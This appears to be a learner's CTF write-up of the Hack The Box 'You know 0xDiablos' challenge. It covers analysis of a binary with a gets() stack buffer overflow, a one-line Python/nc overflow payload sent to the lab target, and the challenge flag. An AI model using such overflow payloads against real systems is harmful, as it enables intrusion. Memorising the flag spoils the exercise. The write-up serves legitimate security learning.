# You know 0xDiablos

## TARGET: 178.128.47.199:30088

## HOST: 10.0.2.15

{% file src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fllh2wqc5Tj1ayVuIoEIs%2FYou%20know%200xDiablos.zip?alt=media&token=016c5a4b-ce5b-41cd-986f-aabfa0ad673e" %}

{% file src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fr3v3WsSbdm9KKe7Wm9br%2Fvuln?alt=media&token=0b7f393b-4e02-46ae-ad79-7eefb61da353" %}

ZIP PASSWORD: hackthebox

SHA256:

```
307744fa0ae574756157a4607e307492141fdf1f000f6289eab4a8741729469c
```

* Start by downloading the zip.
  * On Windows you have to use 7Zip to extract the file from the zip.
  * On Linux you have to use 7zip as well.

```
7z x "You know 0xDiablos.zip"
```

* I now have a binary file to mess with called `vuln`.

```
cat vuln
```

* The first bit mentions a libc so it's a good chance we are dealing with some C programming language here but most of the rest is nonsense.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FQ8R0ztWBrIyzkn1UzPDh%2Fimage.png?alt=media&#x26;token=25082edd-7189-4b75-b5af-af1d937702be" alt=""><figcaption></figcaption></figure>

* The end looks like some syntax. I'll try `strings` next

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F8txeOmfGd1pjleHBqZLA%2Fimage.png?alt=media&#x26;token=1c8b53c0-3059-49b9-a896-586db0ebdbe7" alt=""><figcaption></figcaption></figure>

```
strings vuln
```

* Looks like I got quite a bit more including some references to the flag and to try it on the server side. So let's give that a try.

```
tdX 
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
exit
fopen
puts
printf
fgets
stdout
setresgid
getegid
setvbuf
__libc_start_main
GLIBC_2.1
GLIBC_2.0
__gmon_start__
[^_]
flag.txt
Hurry up and try in on server side.
You know who are 0xDiablos: 
;*2$" 
GCC: (Debian 8.3.0-19) 8.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.6887
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
vuln.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
__x86.get_pc_thunk.bx
printf@@GLIBC_2.0
__x86.get_pc_thunk.bp
vuln
fgets@@GLIBC_2.0
_edata
getegid@@GLIBC_2.0
__data_start
puts@@GLIBC_2.0
__gmon_start__
exit@@GLIBC_2.0
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
setvbuf@@GLIBC_2.0
fopen@@GLIBC_2.1
_dl_relocate_static_pie
_fp_hw
stdout@@GLIBC_2.0
__bss_start
main
__TMC_END__
setresgid@@GLIBC_2.0
flag
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.got.plt
.data
.bss
.comment
```

* I'll bounce over to the IP they gave me.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fr915De7YQzEh0j4fihp8%2Fimage.png?alt=media&#x26;token=e07f5086-3ca5-447f-a50c-080d2b614a5a" alt=""><figcaption></figcaption></figure>

* I don't get a whole lot. It looks like I get straight text back. I'll try curling it.

```
curl [Target IP]:[Target Port] --verbose --http0.9
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FyPenkFEgMHal82fCzSqS%2Fimage.png?alt=media\&token=9c64ad59-b498-4465-9f4f-19fe963d6fb0)

* I had to get creative to get the curl command to work but it looks like I get the same thing. Let's try scanning it with NMAP.

```
nmap -p [Target Port] [Target IP] -Pn
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F4U6AkJGsAyZjqaMYddz0%2Fimage.png?alt=media\&token=06200741-fa3a-4b9a-b078-ec083f23358e)

* Let's run a more thorough scan.

```
nmap -p [Target Port] [Target IP] -Pn -A
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fyh5TuZ48pFgYTr7IFlcU%2Fimage.png?alt=media&#x26;token=d3f62b88-dfdb-444e-b90a-e23c8812083a" alt=""><figcaption></figcaption></figure>

* Not a whole lot but it seems like the port is definitely open. Let's try something else. How about telnet?

```
telnet [Target IP] [Target Port]
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FKaA3wzc7z2IIkyVxOmdo%2Fimage.png?alt=media\&token=cda024da-6108-4402-881d-6161b88bc2ac)

* Pressing enter or putting in another password doesn't get me anywhere.
* I tried capturing a response with Burp but that wasn't getting me anywhere.
* Let's go back to the `vuln` file.
* I ran it through hexeditor to see what the file type is.

```
hexeditor vuln
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fa7I8ktFokLtq5gXWF4eQ%2Fimage.png?alt=media&#x26;token=2bbe45ea-4171-4c4a-a844-90888920e523" alt=""><figcaption></figcaption></figure>

* I get the following magic numbers back which is associated with an `ELF` file.

```
7F 45 4C 46
```

* Since I now know it is an ELF executable we can see if we can run it on our system.

```
./vuln
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FBJ6PJuwydsGe4znXRLIG%2Fimage.png?alt=media\&token=84825441-82f3-42d1-89e0-beaeedf537c6)

* It looks like it takes an input but doesn't do anything except escape. Let's go back to the strings output and see if we can make sense of what is going on.
* It looks like it imports some C libraries, talks about the flag.txt file, then possibly compiles and executes some code.
* Let's boot it up in Ghidra and take a look at what we got.
  * Use this [link](https://www.youtube.com/watch?v=cW3L43nTvNQ) for a video on downloading and installing Ghidra. It can be found in the /opt/ghidraRun directory.

```
cd /opt/ghidra_10.2.3_PUBLIC
./ghidraRun
```

* Import the `vuln` file into ghidra and let's take a look at it.

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FNdsYJxgNwkFZpK7U5m8T%2Fimage.png?alt=media\&token=844fb793-0c71-4143-839c-e22811991c3c)

* Unfortunately, I'm not good enough with Ghidra at the moment to really understand what is going on here. I searched for flag and found quite a few references but nothing that stood out.
* After some searching I found a tool called `readelf` that can break down an ELF file.

```
readelf -a vuln
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fm4CQOOwkoHGqLLfoAbdz%2Fimage.png?alt=media\&token=ddd91c00-31ac-41c6-83c3-ffd50f8ba860)

* Lots of good info but like Ghidra a lot of it not helpful to me.
* I ended up looking up a walkthrough as I was out of tricks.
* They used Ghidra as well to analyze the code. Apparently the executable is susceptible to buffer overflow.&#x20;
*

    <figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FkJCCyceJCasuLLjZDGwM%2Fimage.png?alt=media&#x26;token=ff511eac-0f23-4475-bcf5-eb5c370b68f6" alt=""><figcaption></figcaption></figure>

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void vuln(void)

{
  char local_bc [180];
  
  gets(local_bc);
  puts(local_bc);
  return;
}
```

* Based on the `gets(local_bc);` part of the code this does not limit the number of characters we can input.
* You can see that the variable `local_bc` is set to 180 characters.
  * Assuming "local\_bc" is a variable name, "gets(local\_bc)" would mean that the line of input read from the standard input is stored in the variable "local\_bc". However, it's worth noting that the "gets" function is considered unsafe and should not be used in modern C programming due to potential buffer overflow vulnerabilities. Instead, the "fgets" function is recommended as a safer alternative.
  * ChatGPT states that `gets()` should not be used due to vulnerability risks as it does not limit the number of characters that can be inputted. You should use `fgets()` as you have the option to limit characters with this function.
* Next, I'll use a new tool I have not used before called `checksec` which is a security tool to check binaries and executables for security flaws. See this [link ](broken-reference)for more info.

```
checksec --file=./vuln
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FheRFmg0PPUa4jYYRwN8k%2Fimage.png?alt=media&#x26;token=d6dc8cce-83f3-4d43-a171-bd10bfeb8033" alt=""><figcaption></figcaption></figure>

* This shows that the executable is vulnerable to multiple issues.
* Using `checksec`, we are able to see that the program does not have any stack cookies, allowing us to overwrite the return address. There is also no ASLR since PIE is not set, thus, we can overwrite a specific address into the RETURN address’s location.
* We can try this out by printing a lot of A's in the dialogue box to see what happens.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F72GeaoJhjavWMGHTV2nD%2Fimage.png?alt=media&#x26;token=89871274-d652-492b-be2a-8af548af08a9" alt=""><figcaption></figcaption></figure>

* The next tool I'll use is [GDB](https://www.tutorialspoint.com/gnu_debugger/installing_gdb.htm) which is a debugger. Use the below to install it if not already there.

```
 sudo apt-get install libc6-dbg gdb valgrind 
```

* Run the executable through GDB:

```
gdb ./vuln
r
^C
info file
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Faaw4I2RIRTB6onbY0IXv%2Fimage.png?alt=media&#x26;token=70aab473-4e5d-477f-b044-7dcdc57f1298" alt=""><figcaption></figcaption></figure>

* At the end there you can see the `Entry point: 0x80490d0` memory address. Let's go take a look at that in Ghidra.
*

    <figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FVHkmn4VQOHZznDFyrDzA%2Fimage.png?alt=media&#x26;token=bb8ccd75-ffe7-4027-8731-75cb44e16e16" alt=""><figcaption></figcaption></figure>
* Long story but you have to initiate a buffer overflow and pipe it to the given IP Address.

```
python -c "print('A'*188 + '\xe2\x91\x04\x08'+'A'*4+'\xef\xbe\xad\xde\r\xd0\xde\xc0')" | nc [Target IP] [Target Port]
```

* This didn't work as I wasn't understanding the exact means to getting the stack to overflow.&#x20;
* I'll have to review this material at a later date for the time being I'm going to keep moving on.&#x20;
* A few of the write ups I read had multiple ways of getting here but none did a very good job explaining. Here is the answer from one of them.
* This was a kick in the balls from the last lab I did.

**HTB{0ur\_Buff3r\_1s\_not\_healthy}**



















































